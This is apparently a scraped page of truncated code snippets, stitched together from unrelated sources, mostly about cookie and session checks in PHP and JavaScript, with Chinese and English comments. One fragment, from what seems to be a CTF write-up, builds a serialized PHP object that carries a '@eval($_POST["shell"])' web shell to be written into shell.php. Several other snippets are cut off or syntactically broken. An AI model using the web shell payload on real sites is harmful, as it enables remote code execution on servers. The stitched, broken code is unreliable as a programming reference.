/* check for a cookie */ if (document.cookie == ""){ /* if a cookie is not found - alert user - change cookieexists field value to false */ alert("COOKIES need to be enabled!");/* If the user has Cookies disable
php $t=date("H");if($t<"20"){echo"Have a good day!";}$t=date("H");if($t<"20"){echo"Have a good day!";}else{echo"Have a good night!";}$t=date("H");if($t<"10"){echo"Have a good morning!";}elseif($t<"20"){echo"Have a good day!";}else{echo"Have a good...
// 将token存储到数据库中,与用户相关联 // 将token返回给用户,存储在cookie中或通过其他方式保存 // 在其他页面中 // 判断数据库中是否存在对应的token if(checkTokenExists($token)){ // 用户已登录 // 执行相应的操作 }else{ // 用户未登录 // 执行其他操作,如跳转到登录页面 } “` 4. 使用URL参...
if ( !is_array( $imagedata = wp_get_attachment_metadata( $post->ID ) ) ) return false; $file = get_attached_file( $post->ID ); if ( !empty($imagedata['thumb']) && ($thumbfile = str_replace(basename($file), $imagedata['thumb'], $file)) && file_exists($thumbfile) ) { ...
check.php 调用 cookie inc.php文件 抓取数据包 通过解码发现limit为1EXP <?php highlight_file(__FILE__); class User{ public $username='shell.php'; public $password = '<?php phpinfo();@eval($_POST["shell"]);?>'; } echo $a=base64_encode("|".serialize(new User)); echo "log-"....
* @return void*/if( ! function_exists('is_really_writable')) { function is_really_writable($file){//If we're on a Unix server with safe_mode off we call is_writableif(DIRECTORY_SEPARATOR == "/"; AND @ini_get("safe_mode") ==FALSE){returnis_writable($file); ...
*/functionoffsetUnset($key){if(array_key_exists($key,get_object_vars($this))){unset($this->{$key});}}/** * Defined by ArrayAccess interface * Check value exists, given it"s key e.g. isset($A["title"]) * @param mixed key (string or integer) ...
Magic method to use the cookie object as a string without having to call value property first. $value = (string)$cookies['name']; Note, that you still have to check if the cookie exists.configure() method (available since v1.1.11) public void configure(array $options=array ( )) $...
if($_SESSION["mno"]==""){echo"您还未登录,请登录";}else{echo$_SESSION["mno"]."欢迎您! 注销登录";}}else{//再判断Session中mno变量的值是否为空,并输出不同的信息。if($_SEESION["mno"]==""){$_SESSION["mno"]=$_COOKIE["mno"];echo$_COOKIE["mno"]."欢迎再次回来! 注销登...
if( __true_one(true, '1') ) // true if( __true_one([true, false]) ) // true if( __false_one('foo', 'bar', null) ) // false if( __false_one(false) ) // true // cookies __cookie_set('cookie_name', 'cookie_value'...